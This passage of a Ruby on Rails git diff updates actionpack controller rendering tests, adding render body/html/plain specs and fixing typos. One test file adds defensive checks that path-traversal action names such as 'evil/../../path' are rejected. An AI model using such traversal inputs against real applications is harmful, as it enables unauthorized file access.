- assert_equal 422, @response.status
- assert_equal errors.to_xml, @response.body
- assert_nil @response.location
- end
-
- def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
- @request.accept = "application/json"
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- put :using_resource
- assert_equal "application/json", @response.content_type
- assert_equal 422, @response.status
- errors = {:errors => errors}
- assert_equal errors.to_json, @response.body
- assert_nil @response.location
- end
-
- def test_using_resource_for_delete_with_html_redirects_on_success
- with_test_route_set do
- Customer.any_instance.stubs(:destroyed?).returns(true)
- delete :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 302, @response.status
- assert_equal "http://www.example.com/customers", @response.location
- end
- end
-
- def test_using_resource_for_delete_with_xml_yields_no_content_on_success
- Customer.any_instance.stubs(:destroyed?).returns(true)
- @request.accept = "application/xml"
- delete :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal 204, @response.status
- assert_equal "", @response.body
- end
-
- def test_using_resource_for_delete_with_json_yields_no_content_on_success
- Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
- Customer.any_instance.stubs(:destroyed?).returns(true)
- @request.accept = "application/json"
- delete :using_resource
- assert_equal "application/json", @response.content_type
- assert_equal 204, @response.status
- assert_equal "", @response.body
- end
-
- def test_using_resource_for_delete_with_html_redirects_on_failure
- with_test_route_set do
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- Customer.any_instance.stubs(:destroyed?).returns(false)
- delete :using_resource
- assert_equal "text/html", @response.content_type
- assert_equal 302, @response.status
- assert_equal "http://www.example.com/customers", @response.location
- end
- end
-
- def test_using_resource_with_parent_for_get
- @request.accept = "application/xml"
- get :using_resource_with_parent
- assert_equal "application/xml", @response.content_type
- assert_equal 200, @response.status
- assert_equal "<name>david</name>", @response.body
- end
-
- def test_using_resource_with_parent_for_post
- with_test_route_set do
- @request.accept = "application/xml"
-
- post :using_resource_with_parent
- assert_equal "application/xml", @response.content_type
- assert_equal 201, @response.status
- assert_equal "<name>david</name>", @response.body
- assert_equal "http://www.example.com/quiz_stores/11/customers/13", @response.location
-
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
- post :using_resource
- assert_equal "application/xml", @response.content_type
- assert_equal 422, @response.status
- assert_equal errors.to_xml, @response.body
- assert_nil @response.location
- end
- end
-
- def test_using_resource_with_collection
- @request.accept = "application/xml"
- get :using_resource_with_collection
- assert_equal "application/xml", @response.content_type
- assert_equal 200, @response.status
- assert_match(/<name>david<\/name>/, @response.body)
- assert_match(/<name>jamis<\/name>/, @response.body)
- end
-
- def test_using_resource_with_action
- @controller.instance_eval do
- def render(params={})
- self.response_body = "#{params[:action]} - #{formats}"
- end
- end
-
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
-
- post :using_resource_with_action
- assert_equal "foo - #{[:html].to_s}", @controller.response.body
- end
-
- def test_respond_as_responder_entry_point
- @request.accept = "text/html"
- get :using_responder_with_respond
- assert_equal "respond html", @response.body
-
- @request.accept = "application/xml"
- get :using_responder_with_respond
- assert_equal "respond xml", @response.body
- end
-
- def test_clear_respond_to
- @controller = InheritedRespondWithController.new
- @request.accept = "text/html"
- assert_raises(ActionController::UnknownFormat) do
- get :index
- end
- end
-
- def test_first_in_respond_to_has_higher_priority
- @controller = InheritedRespondWithController.new
- @request.accept = "*/*"
- get :index
- assert_equal "application/xml", @response.content_type
- assert_equal "<name>david</name>", @response.body
- end
-
- def test_block_inside_respond_with_is_rendered
- @controller = InheritedRespondWithController.new
- @request.accept = "application/json"
- get :index
- assert_equal "JSON", @response.body
- end
-
- def test_render_json_object_responds_to_str_still_produce_json
- @controller = RenderJsonRespondWithController.new
- @request.accept = "application/json"
- get :index, :format => :json
- assert_match(/"message":"boom"/, @response.body)
- assert_match(/"error":"RenderJsonTestException"/, @response.body)
- end
-
- def test_api_response_with_valid_resource_respect_override_block
- @controller = RenderJsonRespondWithController.new
- post :create, :name => "sikachu", :format => :json
- assert_equal '{"valid":true}', @response.body
- end
-
- def test_api_response_with_invalid_resource_respect_override_block
- @controller = RenderJsonRespondWithController.new
- post :create, :name => "david", :format => :json
- assert_equal '{"valid":false}', @response.body
- end
-
- def test_no_double_render_is_raised
- @request.accept = "text/html"
- assert_raise ActionView::MissingTemplate do
- get :using_resource
- end
- end
-
- def test_using_resource_with_status_and_location
- @request.accept = "text/html"
- post :using_resource_with_status_and_location
- assert @response.redirect?
- assert_equal "http://test.host/", @response.location
-
- @request.accept = "application/xml"
- get :using_resource_with_status_and_location
- assert_equal 201, @response.status
- end
-
- def test_using_resource_with_status_and_location_with_invalid_resource
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
-
- @request.accept = "text/xml"
-
- post :using_resource_with_status_and_location
- assert_equal errors.to_xml, @response.body
- assert_equal 422, @response.status
- assert_equal nil, @response.location
-
- put :using_resource_with_status_and_location
- assert_equal errors.to_xml, @response.body
- assert_equal 422, @response.status
- assert_equal nil, @response.location
- end
-
- def test_using_invalid_resource_with_template
- errors = { :name => :invalid }
- Customer.any_instance.stubs(:errors).returns(errors)
-
- @request.accept = "text/xml"
-
- post :using_invalid_resource_with_template
- assert_equal errors.to_xml, @response.body
- assert_equal 422, @response.status
- assert_equal nil, @response.location
-
- put :using_invalid_resource_with_template
- assert_equal errors.to_xml, @response.body
- assert_equal 422, @response.status
- assert_equal nil, @response.location
- end
-
- def test_using_options_with_template
- @request.accept = "text/xml"
-
- post :using_options_with_template
- assert_equal "<customer-name>david</customer-name>", @response.body
- assert_equal 123, @response.status
- assert_equal "http://test.host/", @response.location
-
- put :using_options_with_template
- assert_equal "<customer-name>david</customer-name>", @response.body
- assert_equal 123, @response.status
- assert_equal "http://test.host/", @response.location
- end
-
- def test_using_resource_with_responder
- get :using_resource_with_responder
- assert_equal "Resource name is david", @response.body
- end
-
- def test_using_resource_with_set_responder
- RespondWithController.responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
- get :using_resource
- assert_equal "Resource name is david", @response.body
- ensure
- RespondWithController.responder = ActionController::Responder
- end
-
- def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
- @controller = EmptyRespondWithController.new
- @request.accept = "*/*"
- assert_raise RuntimeError do
- get :index
- end
- end
-
- private
- def with_test_route_set
- with_routing do |set|
- set.draw do
- resources :customers
- resources :quiz_stores do
- resources :customers
- end
- get ":controller/:action"
- end
- yield
- end
- end
-end
-
-class AbstractPostController < ActionController::Base
- self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
-end
-
-# For testing layouts which are set automatically
-class PostController < AbstractPostController
- around_action :with_iphone
-
- def index
- respond_to(:html, :iphone, :js)
- end
-
-protected
-
- def with_iphone
- request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
- yield
- end
-end
-
-class SuperPostController < PostController
-end
-
-class MimeControllerLayoutsTest < ActionController::TestCase
- tests PostController
-
- def setup
- super
- @request.host = "www.example.com"
- Mime::Type.register_alias("text/html", :iphone)
- end
-
- def teardown
- super
- Mime::Type.unregister(:iphone)
- end
-
- def test_missing_layout_renders_properly
- get :index
- assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
-
- @request.accept = "text/iphone"
- get :index
- assert_equal 'Hello iPhone', @response.body
- end
-
- def test_format_with_inherited_layouts
- @controller = SuperPostController.new
-
- get :index
- assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
-
- @request.accept = "text/iphone"
- get :index
- assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
- end
-
- def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
- get :index, :format => :js
- assert_equal "Hello Firefox", @response.body
- end
-end
-
-class FlashResponder < ActionController::Responder
- def initialize(controller, resources, options={})
- super
- end
-
- def to_html
- controller.flash[:notice] = 'Success'
- super
- end
-end
-
-class FlashResponderController < ActionController::Base
- self.responder = FlashResponder
- respond_to :html
-
- def index
- respond_with Object.new do |format|
- format.html { render :text => 'HTML' }
- end
- end
-end
-
-class FlashResponderControllerTest < ActionController::TestCase
- tests FlashResponderController
-
- def test_respond_with_block_executed
- get :index
- assert_equal 'HTML', @response.body
- end
-
- def test_flash_responder_executed
- get :index
- assert_equal 'Success', flash[:notice]
- end
-end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
index 7396c850ad..246ba099af 100644
--- a/actionpack/test/controller/new_base/bare_metal_test.rb
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -2,6 +2,8 @@ require "abstract_unit"
module BareMetalTest
class BareController < ActionController::Metal
+ include ActionController::RackDelegation
+
def index
self.response_body = "Hello world"
end
@@ -81,8 +83,8 @@ module BareMetalTest
assert_nil headers['Content-Length']
end
- test "head :continue (101) does not return a content-type header" do
- headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+ test "head :switching_protocols (101) does not return a content-type header" do
+ headers = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).second
assert_nil headers['Content-Type']
assert_nil headers['Content-Length']
end
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
new file mode 100644
index 0000000000..f4a3db8b41
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -0,0 +1,170 @@
+require 'abstract_unit'
+
+module RenderBody
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render body: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render body: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render body: "hello david"
+ end
+
+ def custom_code
+ render body: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render body: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render body: nil
+ end
+
+ def with_nil_and_status
+ render body: nil, status: 403
+ end
+
+ def with_false
+ render body: false
+ end
+
+ def with_layout_true
+ render body: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render body: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render body: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render body: "hello world", layout: "greetings"
+ end
+
+ def with_custom_content_type
+ response.headers['Content-Type'] = 'application/json'
+ render body: '["troll","face"]'
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render body: "hello world", layout: "ivar"
+ end
+ end
+
+ class RenderBodyTest < Rack::TestCase
+ test "rendering body from a minimal controller" do
+ get "/render_body/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering body from an action with default options renders the body with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_body/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering body from an action with default options renders the body without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_body/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering body, while also providing a custom status code" do
+ get "/render_body/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering body with nil returns an empty body" do
+ get "/render_body/with_layout/with_nil"
+
+ assert_body ""
+ assert_status 200
+ end
+
+ test "Rendering body with nil and custom status code returns an empty body and the status" do
+ get "/render_body/with_layout/with_nil_and_status"
+
+ assert_body ""
+ assert_status 403
+ end
+
+ test "rendering body with false returns the string 'false'" do
+ get "/render_body/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering body with layout: true" do
+ get "/render_body/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering body with layout: 'greetings'" do
+ get "/render_body/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "specified content type should not be removed" do
+ get "/render_body/with_layout/with_custom_content_type"
+
+ assert_equal %w{ troll face }, JSON.parse(response.body)
+ assert_equal 'application/json', response.headers['Content-Type']
+ end
+
+ test "rendering body with layout: false" do
+ get "/render_body/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering body with layout: nil" do
+ get "/render_body/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
index a961cbf849..0c21bb0719 100644
--- a/actionpack/test/controller/new_base/render_file_test.rb
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -13,15 +13,6 @@ module RenderFile
render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
end
- def without_file_key
- render File.join(File.dirname(__FILE__), *%w[.. .. fixtures test hello_world])
- end
-
- def without_file_key_with_instance_variable
- @secret = 'in the sauce'
- render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
- end
-
def relative_path
@secret = 'in the sauce'
render :file => '../../fixtures/test/render_file_with_ivar'
@@ -41,11 +32,6 @@ module RenderFile
path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
render :file => path, :locals => {:secret => 'in the sauce'}
end
-
- def without_file_key_with_locals
- path = FIXTURES.join('test/render_file_with_locals').to_s
- render path, :locals => {:secret => 'in the sauce'}
- end
end
class TestBasic < Rack::TestCase
@@ -61,16 +47,6 @@ module RenderFile
assert_response "The secret is in the sauce\n"
end
- test "rendering path without specifying the :file key" do
- get :without_file_key
- assert_response "Hello world!"
- end
-
- test "rendering path without specifying the :file key with ivar" do
- get :without_file_key_with_instance_variable
- assert_response "The secret is in the sauce\n"
- end
-
test "rendering a relative path" do
get :relative_path
assert_response "The secret is in the sauce\n"
@@ -90,10 +66,5 @@ module RenderFile
get :with_locals
assert_response "The secret is in the sauce\n"
end
-
- test "rendering path without specifying the :file key with locals" do
- get :without_file_key_with_locals
- assert_response "The secret is in the sauce\n"
- end
end
end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
new file mode 100644
index 0000000000..fe11501eeb
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -0,0 +1,190 @@
+require 'abstract_unit'
+
+module RenderHtml
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render html: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render html: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.html.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.html.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render html: "hello david"
+ end
+
+ def custom_code
+ render html: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render html: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render html: nil
+ end
+
+ def with_nil_and_status
+ render html: nil, status: 403
+ end
+
+ def with_false
+ render html: false
+ end
+
+ def with_layout_true
+ render html: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render html: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render html: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render html: "hello world", layout: "greetings"
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render html: "hello world", layout: "ivar"
+ end
+
+ def with_unsafe_html_tag
+ render html: "<p>hello world</p>", layout: nil
+ end
+
+ def with_safe_html_tag
+ render html: "<p>hello world</p>".html_safe, layout: nil
+ end
+ end
+
+ class RenderHtmlTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_html/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering text from an action with default options renders the text with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_html/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text from an action with default options renders the text without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_html/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text, while also providing a custom status code" do
+ get "/render_html/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering text with nil returns an empty body" do
+ get "/render_html/with_layout/with_nil"
+
+ assert_body ""
+ assert_status 200
+ end
+
+ test "Rendering text with nil and custom status code returns an empty body and the status" do
+ get "/render_html/with_layout/with_nil_and_status"
+
+ assert_body ""
+ assert_status 403
+ end
+
+ test "rendering text with false returns the string 'false'" do
+ get "/render_html/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering text with layout: true" do
+ get "/render_html/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering text with layout: 'greetings'" do
+ get "/render_html/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "rendering text with layout: false" do
+ get "/render_html/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering text with layout: nil" do
+ get "/render_html/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering html should escape the string if it is not html safe" do
+ get "/render_html/with_layout/with_unsafe_html_tag"
+
+ assert_body "&lt;p&gt;hello world&lt;/p&gt;"
+ assert_status 200
+ end
+
+ test "rendering html should not escape the string if it is html safe" do
+ get "/render_html/with_layout/with_safe_html_tag"
+
+ assert_body "<p>hello world</p>"
+ assert_status 200
+ end
+
+ test "rendering from minimal controller returns response with text/html content type" do
+ get "/render_html/minimal/index"
+ assert_content_type "text/html"
+ end
+
+ test "rendering from normal controller returns response with text/html content type" do
+ get "/render_html/simple/index"
+ assert_content_type "text/html; charset=utf-8"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
index 1e2191d417..5b4885f7e0 100644
--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -6,7 +6,7 @@ module RenderImplicitAction
"render_implicit_action/simple/hello_world.html.erb" => "Hello world!",
"render_implicit_action/simple/hyphen-ated.html.erb" => "Hello hyphen-ated!",
"render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
- )]
+ ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]
def hello_world() end
end
@@ -33,10 +33,25 @@ module RenderImplicitAction
assert_status 200
end
+ test "render does not traverse the file system" do
+ assert_raises(AbstractController::ActionNotFound) do
+ action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)
+ SimpleController.action(action_name).call(Rack::MockRequest.env_for("/"))
+ end
+ end
+
test "available_action? returns true for implicit actions" do
assert SimpleController.new.available_action?(:hello_world)
assert SimpleController.new.available_action?(:"hyphen-ated")
assert SimpleController.new.available_action?(:not_implemented)
end
+
+ test "available_action? does not allow File::SEPARATOR on the name" do
+ action_name = %w(evil .. .. path).join(File::SEPARATOR)
+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+
+ action_name = %w(evil path).join(File::SEPARATOR)
+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+ end
end
end
diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb
index 2f1aa22208..9e5022c9f4 100644
--- a/actionpack/test/controller/new_base/render_partial_test.rb
+++ b/actionpack/test/controller/new_base/render_partial_test.rb
@@ -5,14 +5,14 @@ module RenderPartial
class BasicController < ActionController::Base
self.view_paths = [ActionView::FixtureResolver.new(
- "render_partial/basic/_basic.html.erb" => "BasicPartial!",
- "render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
- "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>",
- "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>",
- "render_partial/basic/_final.json.erb" => "{ final: json }",
- "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>",
- "render_partial/basic/_overriden.html.erb" => "ParentPartial!",
- "render_partial/child/_overriden.html.erb" => "OverridenPartial!"
+ "render_partial/basic/_basic.html.erb" => "BasicPartial!",
+ "render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
+ "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>",
+ "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>",
+ "render_partial/basic/_final.json.erb" => "{ final: json }",
+ "render_partial/basic/overridden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overridden' %><%= @test_unchanged %>",
+ "render_partial/basic/_overridden.html.erb" => "ParentPartial!",
+ "render_partial/child/_overridden.html.erb" => "OverriddenPartial!"
)]
def html_with_json_inside_json
@@ -24,7 +24,7 @@ module RenderPartial
render :action => "basic"
end
- def overriden
+ def overridden
@test_unchanged = 'hello'
end
end
@@ -55,8 +55,8 @@ module RenderPartial
end
test "partial from child controller gets picked" do
- get :overriden
- assert_response("goodbyeOverridenPartial!goodbye")
+ get :overridden
+ assert_response("goodbyeOverriddenPartial!goodbye")
end
end
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
new file mode 100644
index 0000000000..0e36d36b50
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -0,0 +1,168 @@
+require 'abstract_unit'
+
+module RenderPlain
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render plain: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render plain: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.text.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.text.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.text.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render plain: "hello david"
+ end
+
+ def custom_code
+ render plain: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render plain: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render plain: nil
+ end
+
+ def with_nil_and_status
+ render plain: nil, status: 403
+ end
+
+ def with_false
+ render plain: false
+ end
+
+ def with_layout_true
+ render plain: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render plain: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render plain: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render plain: "hello world", layout: "greetings"
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render plain: "hello world", layout: "ivar"
+ end
+ end
+
+ class RenderPlainTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_plain/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering text from an action with default options renders the text with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_plain/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text from an action with default options renders the text without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_plain/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text, while also providing a custom status code" do
+ get "/render_plain/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering text with nil returns an empty body" do
+ get "/render_plain/with_layout/with_nil"
+
+ assert_body ""
+ assert_status 200
+ end
+
+ test "Rendering text with nil and custom status code returns an empty body and the status" do
+ get "/render_plain/with_layout/with_nil_and_status"
+
+ assert_body ""
+ assert_status 403
+ end
+
+ test "rendering text with false returns the string 'false'" do
+ get "/render_plain/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering text with layout: true" do
+ get "/render_plain/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering text with layout: 'greetings'" do
+ get "/render_plain/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "rendering text with layout: false" do
+ get "/render_plain/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering text with layout: nil" do
+ get "/render_plain/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering from minimal controller returns response with text/plain content type" do
+ get "/render_plain/minimal/index"
+ assert_content_type "text/plain"
+ end
+
+ test "rendering from normal controller returns response with text/plain content type" do
+ get "/render_plain/simple/index"
+ assert_content_type "text/plain; charset=utf-8"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index f4bdd3e1d4..4c9126ca8c 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -4,7 +4,7 @@ module RenderStreaming
class BasicController < ActionController::Base
self.view_paths = [ActionView::FixtureResolver.new(
"render_streaming/basic/hello_world.html.erb" => "Hello world",
- "render_streaming/basic/boom.html.erb" => "<%= nil.invalid! %>",
+ "render_streaming/basic/boom.html.erb" => "<%= raise 'Ruby was here!' %>",
"layouts/application.html.erb" => "<%= yield %>, I'm here!",
"layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
)]
@@ -90,9 +90,9 @@ module RenderStreaming
begin
get "/render_streaming/basic/template_exception"
io.rewind
- assert_match "(undefined method `invalid!' for nil:NilClass)", io.read
+ assert_match "Ruby was here!", io.read
ensure
- ActionController::Base.logger = _old
+ ActionView::Base.logger = _old
end
end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 6b2ae2b2a9..42a86b1d0d 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -9,12 +9,12 @@ module RenderTemplate
"locals.html.erb" => "The secret is <%= secret %>",
"xml_template.xml.builder" => "xml.html do\n xml.p 'Hello'\nend",
"with_raw.html.erb" => "Hello <%=raw '<strong>this is raw</strong>' %>",
- "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a html template",
+ "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in an html template",
"with_implicit_raw.text.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a text template",
"test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>",
"test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>",
"test/final.json.erb" => "{ final: json }",
- "test/with_error.html.erb" => "<%= idontexist %>"
+ "test/with_error.html.erb" => "<%= raise 'i do not exist' %>"
)]
def index
@@ -45,6 +45,10 @@ module RenderTemplate
render :template => "locals", :locals => { :secret => 'area51' }
end
+ def with_locals_without_key
+ render "locals", :locals => { :secret => 'area51' }
+ end
+
def builder_template
render :template => "xml_template"
end
@@ -101,6 +105,11 @@ module RenderTemplate
assert_response "The secret is area51"
end
+ test "rendering a template with local variables without key" do
+ get :with_locals
+ assert_response "The secret is area51"
+ end
+
test "rendering a builder template" do
get :builder_template, "format" => "xml"
assert_response "<html>\n <p>Hello</p>\n</html>\n"
@@ -114,7 +123,7 @@ module RenderTemplate
get :with_implicit_raw
- assert_body "Hello <strong>this is also raw</strong> in a html template"
+ assert_body "Hello <strong>this is also raw</strong> in an html template"
assert_status 200
get :with_implicit_raw, format: 'text'
@@ -132,7 +141,7 @@ module RenderTemplate
test "rendering a template with error properly excerts the code" do
get :with_error
assert_status 500
- assert_match "undefined local variable or method `idontexist", response.body
+ assert_match "i do not exist", response.body
end
end
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
index cc7f12ac6d..5635e16234 100644
--- a/actionpack/test/controller/new_base/render_test.rb
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -7,10 +7,10 @@ module Render
"render/blank_render/access_request.html.erb" => "The request: <%= request.method.to_s.upcase %>",
"render/blank_render/access_action_name.html.erb" => "Action Name: <%= action_name %>",
"render/blank_render/access_controller_name.html.erb" => "Controller Name: <%= controller_name %>",
- "render/blank_render/overriden_with_own_view_paths_appended.html.erb" => "parent content",
- "render/blank_render/overriden_with_own_view_paths_prepended.html.erb" => "parent content",
- "render/blank_render/overriden.html.erb" => "parent content",
- "render/child_render/overriden.html.erb" => "child content"
+ "render/blank_render/overridden_with_own_view_paths_appended.html.erb" => "parent content",
